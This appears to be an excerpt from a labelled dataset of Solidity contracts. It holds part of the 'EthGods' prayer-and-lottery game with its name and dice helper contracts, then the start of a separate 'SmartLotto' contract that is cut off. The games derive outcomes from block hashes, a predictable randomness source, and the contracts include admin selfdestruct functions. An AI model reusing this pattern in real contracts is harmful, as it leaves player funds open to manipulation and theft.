if (count_amulets_at_hand > 0) {
uint count_elements = 0;
for (uint i = gods[god_address].amulets_start_id; i <= count_amulets; i++){
if (amulets[i].owner == god_address && amulets[i].start_selling_block == 0){
temp_list[count_elements] = i;
count_elements++;
if (count_elements >= count_amulets_at_hand){
break;
}
}
}
}
return temp_list;
}
function get_my_amulets_selling () public view returns (uint[]){
uint count_amulets_selling = gods[msg.sender].count_amulets_selling;
uint [] memory temp_list = new uint[] (count_amulets_selling);
if (count_amulets_selling > 0) {
uint count_elements = 0;
for (uint i = gods[msg.sender].amulets_start_id; i <= count_amulets; i++){
if (amulets[i].owner == msg.sender
&& amulets[i].start_selling_block > 0){
temp_list[count_elements] = i;
count_elements++;
if (count_elements >= count_amulets_selling){
break;
}
}
}
}
return temp_list;
}
function get_amulet_orders_overview () public view returns(uint){
uint count_amulets_selling = 0;
for (uint i = 1; i <= count_amulets; i++){
if (add(amulets[i].start_selling_block, order_duration) > block.number && amulets[i].owner != msg.sender){
count_amulets_selling = add(count_amulets_selling, 1);
}
}
return count_amulets_selling;
}
function get_amulet_orders (uint page_number) public view returns (uint[]){
uint[] memory temp_list = new uint[] (20);
uint count_amulets_selling = 0;
uint count_list_elements = 0;
if ((page_number < 1)
|| count_amulets <= 20) {
page_number = 1;
}
uint start_amulets_count = mul(sub(page_number, 1), 20);
for (uint i = 1; i <= count_amulets; i++){
if (add(amulets[i].start_selling_block, order_duration) > block.number && amulets[i].owner != msg.sender){
if (count_amulets_selling <= start_amulets_count) {
count_amulets_selling ++;
}
if (count_amulets_selling > start_amulets_count){
temp_list[count_list_elements] = i;
count_list_elements ++;
if (count_list_elements >= 20){
break;
}
}
}
}
return temp_list;
}
function get_amulet (uint amulet_id) public view returns(address, string, uint, uint, uint, uint, uint){
uint god_id = amulets[amulet_id].god_id;
string memory god_name = eth_gods_name.get_god_name(gods_address[god_id]);
uint god_level = gods[gods_address[god_id]].level;
uint amulet_level = amulets[amulet_id].level;
uint start_selling_block = amulets[amulet_id].start_selling_block;
uint price = amulets[amulet_id].price;
return(amulets[amulet_id].owner,
god_name,
god_id,
god_level,
amulet_level,
start_selling_block,
price
);
}
function get_amulet2 (uint amulet_id) public view returns(uint){
return amulets[amulet_id].bound_start_block;
}
function admin_deposit (uint egst_amount) public payable returns (bool) {
require (msg.sender == admin);
if (msg.value > 0){
pray_egses = add(pray_egses, msg.value);
egses_from_contract(admin, msg.value, 4);
}
if (egst_amount > 0){
pray_egst = add(pray_egst, egst_amount);
egst_to_contract(admin, egst_amount, 4);
}
return true;
}
function initialize_pray () private returns (bool){
if (pray_start_block > 0) {
require (check_event_completed() == true
&& rewarded_pray_winners == true);
}
count_rounds = add(count_rounds, 1);
count_rounds_winner_logs[count_rounds] = 0;
pray_start_block = block.number;
rewarded_pray_winners = false;
for (uint i = 1; i <= 3; i++){
pk_positions[i] = max_winners[i];
count_listed_winners[i] = 0;
}
if (listed_gods.length > count_hosted_gods) {
count_hosted_gods = add(count_hosted_gods, 1);
pray_host_god = bidding_gods[count_hosted_gods];
gods[pray_host_god].hosted_pray = true;
pray_reward_top100 = true;
} else {
(uint highest_bid, address highest_bidder) = compare_bid_eth();
gods[highest_bidder].bid_eth = 0;
pray_host_god = highest_bidder;
pray_egses = add(pray_egses, highest_bid);
pray_reward_top100 = false;
}
reward_pool_egses = div(pray_egses, 10);
reward_pool_egst = div(pray_egst, 10);
pray_egst = sub(pray_egst, reward_pool_egst);
return true;
}
function bid_host () public payable returns (bool) {
require (msg.value > 0 && gods[msg.sender].listed > 0);
gods[msg.sender].bid_eth = add (gods[msg.sender].bid_eth, msg.value);
return true;
}
function withdraw_bid () public returns (bool) {
uint bid_eth = gods[msg.sender].bid_eth;
require(bid_eth > 0);
gods[msg.sender].bid_eth = 0;
egses_from_contract(msg.sender, bid_eth, 8);
return true;
}
function create_ticket(address owner_address) private returns (uint) {
count_tickets = add(count_tickets, 1);
tickets[count_tickets].block_number = add(block.number, 1);
tickets[count_tickets].owner = owner_address;
gods[owner_address].last_ticket_number = count_tickets;
gods[owner_address].count_tickets = add(gods[owner_address].count_tickets, 1);
return count_tickets;
}
function pray (uint inviter_id) public payable returns (bool){
require (tx.gasprice <= max_gas_price);
if (gods[msg.sender].credit == 0) {
create_god(msg.sender, inviter_id);
}
if (gods[msg.sender].free_rounds >= count_rounds){
require (msg.value == double_egst_fee);
if (gods[msg.sender].paid_rounds != count_rounds){
gods[msg.sender].paid_rounds = count_rounds;
}
add_exp(msg.sender, 6);
pray_egses = add(pray_egses, double_egst_fee);
} else {
require (msg.value == 0);
gods[msg.sender].free_rounds = count_rounds;
}
create_ticket(msg.sender);
if (used_tickets < count_tickets) {
ticket storage using_ticket = tickets[add(used_tickets, 1)];
uint block_number = using_ticket.block_number;
if (block_number < block.number) {
used_tickets = add(used_tickets, 1);
address waiting_prayer = using_ticket.owner;
if (add(block_number, block_hash_duration) <= block.number) {
using_ticket.new_ticket_number = create_ticket(waiting_prayer);
} else {
bytes32 block_hash = keccak256(abi.encodePacked(blockhash(block_number)));
using_ticket.block_hash = block_hash;
uint dice_result = eth_gods_dice.throw_dice (block_hash)[0];
using_ticket.dice_result = dice_result;
if (dice_result >= 1 && dice_result <= 3){
set_winner(dice_result, used_tickets);
} else {
add_exp(waiting_prayer, 6);
}
}
}
}
add_exp(pray_host_god, 1);
if (check_event_completed() == true && rewarded_pray_winners == false) {
reward_pray_winners();
}
return true;
}
function set_winner (uint prize, uint ticket_number) private returns (uint){
count_rounds_winner_logs[count_rounds] = add(count_rounds_winner_logs[count_rounds], 1);
winner_logs[count_rounds][count_rounds_winner_logs[count_rounds]].ticket_number = ticket_number;
winner_logs[count_rounds][count_rounds_winner_logs[count_rounds]].prize = prize;
address waiting_prayer = tickets[ticket_number].owner;
bytes32 block_hash = tickets[ticket_number].block_hash;
if (count_listed_winners[prize] >= max_winners[prize]){
uint pk_position = pk_positions[prize];
address previous_winner = listed_winners[prize][pk_position];
bool pk_result = pk(waiting_prayer, previous_winner, block_hash);
winner_logs[count_rounds][count_rounds_winner_logs[count_rounds]].pk_result = pk_result;
winner_logs[count_rounds][count_rounds_winner_logs[count_rounds]].previous_winner = previous_winner;
if (pk_result == true) {
listed_winners[prize][pk_position] = waiting_prayer;
}
if (prize > 1) {
if (pk_positions[prize] > 1){
pk_positions[prize] = sub(pk_positions[prize], 1);
} else {
pk_positions[prize] = max_winners[prize];
}
}
} else {
count_listed_winners[prize] = add(count_listed_winners[prize], 1);
listed_winners[prize][count_listed_winners[prize]] = waiting_prayer;
}
return count_listed_winners[prize];
}
function reward_pray_winners () private returns (bool){
require (check_event_completed() == true && rewarded_pray_winners == false);
egst_from_contract(pray_host_god, mul(div(reward_pool_egst, 100), 50), 1);
uint this_reward_egses = 0;
uint this_reward_egst = 0;
for (uint i = 1; i<=3; i++){
if (i == 1) {
this_reward_egses = mul(div(reward_pool_egses, 100), 60);
} else if (i == 2){
this_reward_egses = mul(div(reward_pool_egses, 100), 20);
} else if (i == 3){
this_reward_egst = mul(div(reward_pool_egst, 100), 8);
}
for (uint reward_i = 1; reward_i <= count_listed_winners[i]; reward_i++){
address rewarding_winner = listed_winners[i][reward_i];
if (this_reward_egses > 0 ) {
egses_from_contract(rewarding_winner, this_reward_egses, 1);
pray_egses = sub(pray_egses, this_reward_egses);
} else if (this_reward_egst > 0) {
if (gods[rewarding_winner].paid_rounds < count_rounds){
egst_from_contract(rewarding_winner, this_reward_egst, 1);
} else {
egst_from_contract(rewarding_winner, mul(this_reward_egst, 2), 1);
_totalSupply = add(_totalSupply, this_reward_egst);
if (gods[rewarding_winner].paid_rounds > count_rounds){
gods[rewarding_winner].paid_rounds = count_rounds;
}
}
}
}
}
uint burn_egst = div(reward_pool_egst, 50);
if (count_listed_winners[3] < max_winners[3]) {
burn_egst = add(burn_egst, mul(this_reward_egst, sub(max_winners[3], count_listed_winners[3])));
}
_totalSupply = sub(_totalSupply, burn_egst);
if(pray_reward_top100 == true) {
reward_top_gods();
}
egst_from_contract(msg.sender, mul(initializer_reward, 1 ether), 1);
_totalSupply = add(_totalSupply, mul(initializer_reward, 1 ether));
add_exp(msg.sender, initializer_reward);
rewarded_pray_winners = true;
initialize_pray();
return true;
}
function reward_top_gods () private returns (bool){
uint count_listed_gods = listed_gods.length;
uint last_god_index;
if (count_listed_gods > 100) {
last_god_index = sub(count_listed_gods, 100);
} else {
last_god_index = 0;
}
uint reward_egst = 0;
uint base_reward = 6 ether;
if (count_rounds == 6){
base_reward = mul(base_reward, 6);
}
for (uint i = last_god_index; i < count_listed_gods; i++) {
reward_egst = mul(base_reward, sub(add(i, 1), last_god_index));
egst_from_contract(gods_address[listed_gods[i]], reward_egst, 2);
_totalSupply = add(_totalSupply, reward_egst);
}
return true;
}
function compare_bid_eth () private view returns (uint, address) {
uint highest_bid = 0;
address highest_bidder = v_god;
for (uint j = 1; j <= listed_gods.length; j++){
if (gods[bidding_gods[j]].bid_eth > highest_bid){
highest_bid = gods[bidding_gods[j]].bid_eth;
highest_bidder = bidding_gods[j];
}
}
return (highest_bid, highest_bidder);
}
function check_event_completed () public view returns (bool){
if (add(pray_start_block, round_duration) < block.number){
return true;
} else {
return false;
}
}
function pk (address attacker, address defender, bytes32 block_hash) public view returns (bool pk_result){
(uint attacker_sum_god_levels, uint attacker_sum_amulet_levels) = get_sum_levels_pk(attacker);
(uint defender_sum_god_levels, uint defender_sum_amulet_levels) = get_sum_levels_pk(defender);
pk_result = eth_gods_dice.pk(block_hash, attacker_sum_god_levels, attacker_sum_amulet_levels, defender_sum_god_levels, defender_sum_amulet_levels);
return pk_result;
}
function get_sum_levels_pk (address god_address) public view returns (uint sum_gods_level, uint sum_amulets_level){
sum_gods_level = gods[god_address].level;
sum_amulets_level = gods[god_address].pet_level;
uint amulet_god_id;
uint amulet_god_level;
for (uint i = 1; i <= count_amulets; i++){
if (amulets[i].owner == god_address && amulets[i].start_selling_block == 0){
amulet_god_id = amulets[i].god_id;
amulet_god_level = gods[gods_address[amulet_god_id]].level;
sum_gods_level = add(sum_gods_level, amulet_god_level);
sum_amulets_level = add(sum_amulets_level, amulets[i].level);
}
}
return (sum_gods_level, sum_amulets_level);
}
function get_listed_winners (uint prize) public view returns (address[]){
address [] memory temp_list = new address[] (count_listed_winners[prize]);
if (count_listed_winners[prize] > 0) {
for (uint i = 0; i < count_listed_winners[prize]; i++){
temp_list[i] = listed_winners[prize][add(i,1)];
}
}
return temp_list;
}
function get_ticket (uint ticket_number) public view returns (uint, bytes32, address, uint, uint){
return (tickets[ticket_number].block_number,
tickets[ticket_number].block_hash,
tickets[ticket_number].owner,
tickets[ticket_number].new_ticket_number,
tickets[ticket_number].dice_result);
}
function get_my_tickets() public view returns (uint[]) {
uint count_my_tickets = gods[msg.sender].count_tickets;
if (count_my_tickets > max_show_tickets) {
count_my_tickets = max_show_tickets;
}
uint [] memory temp_list = new uint[] (count_my_tickets);
if (count_my_tickets > 0) {
uint count_elements = 0;
for (uint i = gods[msg.sender].last_ticket_number; i > 0; i--){
if (tickets[i].owner == msg.sender){
temp_list[count_elements] = i;
count_elements++;
if (count_elements >= count_my_tickets){
break;
}
}
}
}
return temp_list;
}
function egses_from_contract (address to, uint tokens, uint reason) private returns (bool) {
if (reason == 1) {
require (pray_egses > tokens);
pray_egses = sub(pray_egses, tokens);
}
egses_balances[to] = add(egses_balances[to], tokens);
create_change_log(1, reason, tokens, egses_balances[to], contract_address, to);
return true;
}
function egses_withdraw () public returns (uint tokens){
tokens = egses_balances[msg.sender];
require (tokens > 0 && contract_address.balance >= tokens && reEntrancyMutex == false);
reEntrancyMutex = true;
egses_balances[msg.sender] = 0;
msg.sender.transfer(tokens);
reEntrancyMutex = false;
emit withdraw_egses(msg.sender, tokens);
create_change_log(1, 5, tokens, 0, contract_address, msg.sender);
return tokens;
}
event withdraw_egses (address receiver, uint tokens);
function totalSupply () public view returns (uint){
return _totalSupply;
}
function balanceOf (address tokenOwner) public view returns (uint){
return balances[tokenOwner];
}
function allowance (address tokenOwner, address spender) public view returns (uint) {
return allowed[tokenOwner][spender];
}
function transfer (address to, uint tokens) public returns (bool success){
require (balances[msg.sender] >= tokens);
balances[msg.sender] = sub(balances[msg.sender], tokens);
balances[to] = add(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
create_change_log(2, 9, tokens, balances[to], msg.sender, to);
return true;
}
event Transfer (address indexed from, address indexed to, uint tokens);
function approve (address spender, uint tokens) public returns (bool success) {
require (balances[msg.sender] >= tokens);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
event Approval (address indexed tokenOwner, address indexed spender, uint tokens);
function transferFrom (address from, address to, uint tokens) public returns (bool success) {
require (balances[from] >= tokens);
allowed[from][msg.sender] = sub(allowed[from][msg.sender], tokens);
balances[from] = sub(balances[from], tokens);
balances[to] = add(balances[to], tokens);
emit Transfer(from, to, tokens);
create_change_log(2, 10, tokens, balances[to], from, to);
return true;
}
function egst_from_contract (address to, uint tokens, uint reason) private returns (bool) {
balances[to] = add(balances[to], tokens);
create_change_log(2, reason, tokens, balances[to], contract_address, to);
return true;
}
function egst_to_contract (address from, uint tokens, uint reason) private returns (bool) {
require (balances[from] >= tokens);
balances[from] = sub(balances[from], tokens);
emit spend_egst(from, tokens, reason);
create_change_log(2, reason, tokens, balances[from], from, contract_address);
return true;
}
event spend_egst (address from, uint tokens, uint reason);
function create_token_order (uint unit_price, uint egst_amount) public returns (uint) {
require(unit_price >= min_unit_price && unit_price <= max_unit_price
&& balances[msg.sender] >= egst_amount
&& egst_amount <= max_egst_amount
&& egst_amount >= min_egst_amount);
count_token_orders = add(count_token_orders, 1);
egst_to_contract(msg.sender, egst_amount, 3);
token_orders[count_token_orders].start_selling_block = block.number;
token_orders[count_token_orders].seller = msg.sender;
token_orders[count_token_orders].unit_price = unit_price;
token_orders[count_token_orders].egst_amount = egst_amount;
gods[msg.sender].count_token_orders = add(gods[msg.sender].count_token_orders, 1);
update_first_active_token_order(msg.sender);
return gods[msg.sender].count_token_orders;
}
function withdraw_token_order (uint order_id) public returns (bool) {
require (msg.sender == token_orders[order_id].seller
&& token_orders[order_id].egst_amount > 0);
uint egst_amount = token_orders[order_id].egst_amount;
token_orders[order_id].start_selling_block = 0;
token_orders[order_id].egst_amount = 0;
egst_from_contract(msg.sender, egst_amount, 4);
gods[msg.sender].count_token_orders = sub(gods[msg.sender].count_token_orders, 1);
update_first_active_token_order(msg.sender);
emit WithdrawTokenOrder(msg.sender, order_id);
return true;
}
event WithdrawTokenOrder (address seller, uint order_id);
function buy_token (uint order_id, uint egst_amount) public payable returns (uint) {
require(order_id >= first_active_token_order
&& order_id <= count_token_orders
&& egst_amount <= token_orders[order_id].egst_amount
&& token_orders[order_id].egst_amount > 0
&& token_orders[order_id].seller != msg.sender);
uint eth_cost = div(mul(token_orders[order_id].unit_price, egst_amount), 100000);
require(msg.value >= eth_cost && msg.value < add(eth_cost, max_extra_eth) );
token_orders[order_id].egst_amount = sub(token_orders[order_id].egst_amount, egst_amount);
egst_from_contract(msg.sender, egst_amount, token_orders[order_id].unit_price);
address seller = token_orders[order_id].seller;
egses_from_contract(seller, eth_cost, 7);
if (token_orders[order_id].egst_amount <= 0){
token_orders[order_id].start_selling_block = 0;
gods[seller].count_token_orders = sub(gods[seller].count_token_orders, 1);
update_first_active_token_order(seller);
}
emit BuyToken(msg.sender, order_id, egst_amount);
return token_orders[order_id].egst_amount;
}
event BuyToken (address buyer, uint order_id, uint egst_amount);
function update_first_active_token_order (address god_address) private returns (uint, uint){
if (count_token_orders > 0
&& first_active_token_order == 0){
first_active_token_order = 1;
} else {
for (uint i = first_active_token_order; i <= count_token_orders; i++) {
if (add(token_orders[i].start_selling_block, order_duration) > block.number){
if (i > first_active_token_order){
first_active_token_order = i;
}
break;
}
}
}
if (gods[god_address].count_token_orders > 0
&& gods[god_address].first_active_token_order == 0){
gods[god_address].first_active_token_order = 1;
} else {
for (uint j = gods[god_address].first_active_token_order; j < count_token_orders; j++){
if (token_orders[j].seller == god_address
&& token_orders[j].start_selling_block > 0){
if(j > gods[god_address].first_active_token_order){
gods[god_address].first_active_token_order = j;
}
break;
}
}
}
return (first_active_token_order, gods[msg.sender].first_active_token_order);
}
function get_token_order (uint order_id) public view returns(uint, address, uint, uint){
require(order_id >= 1 && order_id <= count_token_orders);
return(token_orders[order_id].start_selling_block,
token_orders[order_id].seller,
token_orders[order_id].unit_price,
token_orders[order_id].egst_amount);
}
function get_token_orders () public view returns(uint, uint, uint, uint, uint) {
uint lowest_price = max_unit_price;
for (uint i = first_active_token_order; i <= count_token_orders; i++){
if (token_orders[i].unit_price < lowest_price
&& token_orders[i].egst_amount > 0
&& add(token_orders[i].start_selling_block, order_duration) > block.number){
lowest_price = token_orders[i].unit_price;
}
}
return (count_token_orders, first_active_token_order, order_duration, max_unit_price, lowest_price);
}
function get_my_token_orders () public view returns(uint []) {
uint my_count_token_orders = gods[msg.sender].count_token_orders;
uint [] memory temp_list = new uint[] (my_count_token_orders);
if (my_count_token_orders > 0) {
uint count_list_elements = 0;
for (uint i = gods[msg.sender].first_active_token_order; i <= count_token_orders; i++){
if (token_orders[i].seller == msg.sender
&& token_orders[i].start_selling_block > 0){
temp_list[count_list_elements] = i;
count_list_elements++;
if (count_list_elements >= my_count_token_orders){
break;
}
}
}
}
return temp_list;
}
function get_winner_log (uint pray_round, uint log_id) public view returns (uint, bytes32, address, address, uint, bool, uint){
require(log_id >= 1 && log_id <= count_rounds_winner_logs[pray_round]);
winner_log storage this_winner_log = winner_logs[pray_round][log_id];
uint ticket_number = this_winner_log.ticket_number;
return (tickets[ticket_number].block_number,
tickets[ticket_number].block_hash,
tickets[ticket_number].owner,
this_winner_log.previous_winner,
this_winner_log.prize,
this_winner_log.pk_result,
this_winner_log.ticket_number);
}
function get_count_rounds_winner_logs (uint pray_round) public view returns (uint){
return count_rounds_winner_logs[pray_round];
}
function create_change_log (uint asset_type, uint reason, uint change_amount, uint after_amount, address _from, address _to) private returns (uint) {
count_rounds_change_logs[count_rounds] = add(count_rounds_change_logs[count_rounds], 1);
uint log_id = count_rounds_change_logs[count_rounds];
change_logs[count_rounds][log_id].block_number = block.number;
change_logs[count_rounds][log_id].asset_type = asset_type;
change_logs[count_rounds][log_id].reason = reason;
change_logs[count_rounds][log_id].change_amount = change_amount;
change_logs[count_rounds][log_id].after_amount = after_amount;
change_logs[count_rounds][log_id]._from = _from;
change_logs[count_rounds][log_id]._to = _to;
return log_id;
}
function get_change_log (uint pray_round, uint log_id) public view returns (uint, uint, uint, uint, uint, address, address){
change_log storage this_log = change_logs[pray_round][log_id];
return (this_log.block_number,
this_log.asset_type,
this_log.reason,
this_log.change_amount,
this_log.after_amount,
this_log._from,
this_log._to);
}
function get_count_rounds_change_logs (uint pray_round) public view returns(uint){
return count_rounds_change_logs[pray_round];
}
function add (uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub (uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul (uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div (uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract EthGodsName {
EthGods private eth_gods;
address private ethgods_contract_address;
function set_eth_gods_contract_address (address eth_gods_contract_address) public returns (bool){
require (msg.sender == admin);
ethgods_contract_address = eth_gods_contract_address;
eth_gods = EthGods(ethgods_contract_address);
return true;
}
address private admin;
function update_admin () public returns (bool){
(address new_admin,,,,,,) = eth_gods.query_contract();
require (msg.sender == new_admin);
admin = new_admin;
return true;
}
bool private contract_created;
address private contract_address;
string private invalid_chars = "\\\"";
bytes private invalid_bytes = bytes(invalid_chars);
function set_invalid_chars (string new_invalid_chars) public returns (bool) {
require(msg.sender == admin);
invalid_chars = new_invalid_chars;
invalid_bytes = bytes(invalid_chars);
return true;
}
uint private valid_length = 16;
function set_valid_length (uint new_valid_length) public returns (bool) {
require(msg.sender == admin);
valid_length = new_valid_length;
return true;
}
struct god_name {
string god_name;
uint block_number;
uint block_duration;
}
mapping (address => god_name) private gods_name;
constructor () public {
require (contract_created == false);
contract_created = true;
contract_address = address(this);
admin = msg.sender;
address v_god = 0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359;
gods_name[v_god].god_name = "V";
}
function () public payable {
revert();
}
function finalize() public {
require (msg.sender == admin);
selfdestruct(msg.sender);
}
function set_god_name (string new_name) public returns (bool){
address god_address = msg.sender;
require (add(gods_name[god_address].block_number, gods_name[god_address].block_duration) < block.number );
bytes memory bs = bytes(new_name);
require (bs.length <= valid_length);
for (uint i = 0; i < bs.length; i++){
for (uint j = 0; j < invalid_bytes.length; j++) {
if (bs[i] == invalid_bytes[j]){
return false;
}
}
}
gods_name[god_address].god_name = new_name;
emit set_name(god_address, new_name);
return true;
}
event set_name (address indexed god_address, string new_name);
function get_god_name (address god_address) public view returns (string) {
return gods_name[god_address].god_name;
}
function block_god_name (address god_address, uint block_duration) public {
require (msg.sender == admin);
gods_name[god_address].god_name = "Unkown";
gods_name[god_address].block_number = block.number;
gods_name[god_address].block_duration = block_duration;
}
function add (uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
}
contract EthGodsDice {
bool private contract_created;
address private contract_address;
address private admin;
constructor () public {
require (contract_created == false);
contract_created = true;
contract_address = address(this);
admin = msg.sender;
}
function finalize () public {
require (msg.sender == admin);
selfdestruct(msg.sender);
}
function () public payable {
revert();
}
function throw_dice (bytes32 block_hash) public pure returns (uint[]) {
uint[] memory dice_numbers = new uint[](7);
uint hash_number;
uint[] memory count_dice_numbers = new uint[](7);
uint i;
for (i = 1; i <= 6; i++) {
hash_number = uint(block_hash[i]);
if (hash_number >= 214) {
dice_numbers[i] = 6;
} else if (hash_number >= 172) {
dice_numbers[i] = 5;
} else if (hash_number >= 129) {
dice_numbers[i] = 4;
} else if (hash_number >= 86) {
dice_numbers[i] = 3;
} else if (hash_number >= 43) {
dice_numbers[i] = 2;
} else {
dice_numbers[i] = 1;
}
count_dice_numbers[dice_numbers[i]] ++;
}
bool won_super_prize = false;
uint count_super_eth = 0;
for (i = 1; i <= 6; i++) {
if (count_dice_numbers[i] >= 5) {
dice_numbers[0] = 1;
won_super_prize = true;
break;
}else if (count_dice_numbers[i] >= 3) {
dice_numbers[0] = 3;
won_super_prize = true;
break;
}else if (count_dice_numbers[i] == 1) {
count_super_eth ++;
if (count_super_eth == 6) {
dice_numbers[0] = 2;
won_super_prize = true;
}
}
}
if (won_super_prize == false) {
dice_numbers[0] = 4;
}
return dice_numbers;
}
function pk (bytes32 block_hash, uint attacker_sum_god_levels, uint attacker_sum_amulet_levels, uint defender_sum_god_levels, uint defender_sum_amulet_levels) public pure returns (bool){
uint god_win_chance;
attacker_sum_god_levels = add(attacker_sum_god_levels, 10);
if (attacker_sum_god_levels < defender_sum_god_levels){
god_win_chance = 0;
} else {
god_win_chance = sub(attacker_sum_god_levels, defender_sum_god_levels);
if (god_win_chance > 20) {
god_win_chance = 100;
} else {
god_win_chance = mul(god_win_chance, 5);
}
}
uint amulet_win_chance;
attacker_sum_amulet_levels = add(attacker_sum_amulet_levels, 10);
if (attacker_sum_amulet_levels < defender_sum_amulet_levels){
amulet_win_chance = 0;
} else {
amulet_win_chance = sub(attacker_sum_amulet_levels, defender_sum_amulet_levels);
if (amulet_win_chance > 20) {
amulet_win_chance = 100;
} else {
amulet_win_chance = mul(amulet_win_chance, 5);
}
}
uint attacker_win_chance = div(add(god_win_chance, amulet_win_chance), 2);
if (attacker_win_chance >= div(mul(uint(block_hash[3]),2),5)){
return true;
} else {
return false;
}
}
function add (uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub (uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul (uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div (uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
} | 1 | 3,418 |
pragma solidity ^0.5.1;
contract SmartLotto {
using SafeMath for uint;
uint private constant DAY_IN_SECONDS = 86400;
struct Member {
address payable addr;
uint ticket;
uint8[5] numbers;
uint8 matchNumbers;
uint prize;
}
struct Game {
uint datetime;
uint8[5] win_numbers;
uint membersCounter;
uint totalFund;
uint8 status;
mapping(uint => Member) members;
}
mapping(uint => Game) public games;
uint private CONTRACT_STARTED_DATE = 0;
uint private constant TICKET_PRICE = 0.01 ether;
uint private constant MAX_NUMBER = 36;
uint private constant PERCENT_FUND_JACKPOT = 15;
uint private constant PERCENT_FUND_4 = 35;
uint private constant PERCENT_FUND_3 = 30;
uint private constant PERCENT_FUND_2 = 20;
uint public JACKPOT = 0;
uint public GAME_NUM = 0;
uint private constant return_jackpot_period = 25 weeks;
uint private start_jackpot_amount = 0;
uint private constant PERCENT_FUND_PR = 12;
uint private FUND_PR = 0;
address private constant ADDRESS_SERVICE = 0x203bF6B46508eD917c085F50F194F36b0a62EB02;
address payable private constant ADDRESS_START_JACKPOT = 0x531d3Bd0400Ae601f26B335EfbD787415Aa5CB81;
address payable private constant ADDRESS_PR = 0xCD66911b6f38FaAF5BFeE427b3Ceb7D18Dd09F78;
event NewMember(uint _gamenum, uint _ticket, address _addr, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event NewGame(uint _gamenum);
event UpdateFund(uint _fund);
event UpdateJackpot(uint _jackpot);
event WinNumbers(uint _gamenum, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event WinPrize(uint _gamenum, uint _ticket, uint _prize, uint8 _match);
function() external payable {
if(msg.sender == ADDRESS_START_JACKPOT) {
processStartingJackpot();
} else {
if(msg.sender == ADDRESS_SERVICE) {
startGame();
} else {
processUserTicket();
}
}
return;
}
function processStartingJackpot() private {
if(msg.value > 0) {
JACKPOT += msg.value;
start_jackpot_amount += msg.value;
emit UpdateJackpot(JACKPOT);
} else {
if(start_jackpot_amount > 0){
_returnStartJackpot();
}
}
return;
}
function _returnStartJackpot() private {
if(JACKPOT > start_jackpot_amount * 2 || (now - CONTRACT_STARTED_DATE) > return_jackpot_period) {
if(JACKPOT > start_jackpot_amount) {
ADDRESS_START_JACKPOT.transfer(start_jackpot_amount);
JACKPOT = JACKPOT - start_jackpot_amount;
start_jackpot_amount = 0;
} else {
ADDRESS_START_JACKPOT.transfer(JACKPOT);
start_jackpot_amount = 0;
JACKPOT = 0;
}
emit UpdateJackpot(JACKPOT);
}
return;
}
function startGame() private {
uint8 weekday = getWeekday(now);
uint8 hour = getHour(now);
if(GAME_NUM == 0) {
GAME_NUM = 1;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 1;
CONTRACT_STARTED_DATE = now;
} else {
if(weekday == 7 && hour == 9) {
if(games[GAME_NUM].status == 1) {
processGame();
}
} else {
games[GAME_NUM].status = 1;
}
}
return;
}
function processGame() private {
uint8 mn = 0;
uint winners5 = 0;
uint winners4 = 0;
uint winners3 = 0;
uint winners2 = 0;
uint fund4 = 0;
uint fund3 = 0;
uint fund2 = 0;
for(uint8 i = 0; i < 5; i++) {
games[GAME_NUM].win_numbers[i] = random(i);
}
games[GAME_NUM].win_numbers = sortNumbers(games[GAME_NUM].win_numbers);
for(uint8 i = 0; i < 4; i++) {
for(uint8 j = i+1; j < 5; j++) {
if(games[GAME_NUM].win_numbers[i] == games[GAME_NUM].win_numbers[j]) {
games[GAME_NUM].win_numbers[j]++;
}
}
}
uint8[5] memory win_numbers;
win_numbers = games[GAME_NUM].win_numbers;
emit WinNumbers(GAME_NUM, win_numbers[0], win_numbers[1], win_numbers[2], win_numbers[3], win_numbers[4]);
if(games[GAME_NUM].membersCounter > 0) {
for(uint i = 1; i <= games[GAME_NUM].membersCounter; i++) {
mn = findMatch(games[GAME_NUM].win_numbers, games[GAME_NUM].members[i].numbers);
games[GAME_NUM].members[i].matchNumbers = mn;
if(mn == 5) {
winners5++;
}
if(mn == 4) {
winners4++;
}
if(mn == 3) {
winners3++;
}
if(mn == 2) {
winners2++;
}
}
JACKPOT = JACKPOT + games[GAME_NUM].totalFund * PERCENT_FUND_JACKPOT / 100;
fund4 = games[GAME_NUM].totalFund * PERCENT_FUND_4 / 100;
fund3 = games[GAME_NUM].totalFund * PERCENT_FUND_3 / 100;
fund2 = games[GAME_NUM].totalFund * PERCENT_FUND_2 / 100;
if(winners4 == 0) {
JACKPOT = JACKPOT + fund4;
}
if(winners3 == 0) {
JACKPOT = JACKPOT + fund3;
}
if(winners2 == 0) {
JACKPOT = JACKPOT + fund2;
}
for(uint i = 1; i <= games[GAME_NUM].membersCounter; i++) {
if(games[GAME_NUM].members[i].matchNumbers == 5) {
games[GAME_NUM].members[i].prize = JACKPOT / winners5;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 5);
}
if(games[GAME_NUM].members[i].matchNumbers == 4) {
games[GAME_NUM].members[i].prize = fund4 / winners4;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 4);
}
if(games[GAME_NUM].members[i].matchNumbers == 3) {
games[GAME_NUM].members[i].prize = fund3 / winners3;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 3);
}
if(games[GAME_NUM].members[i].matchNumbers == 2) {
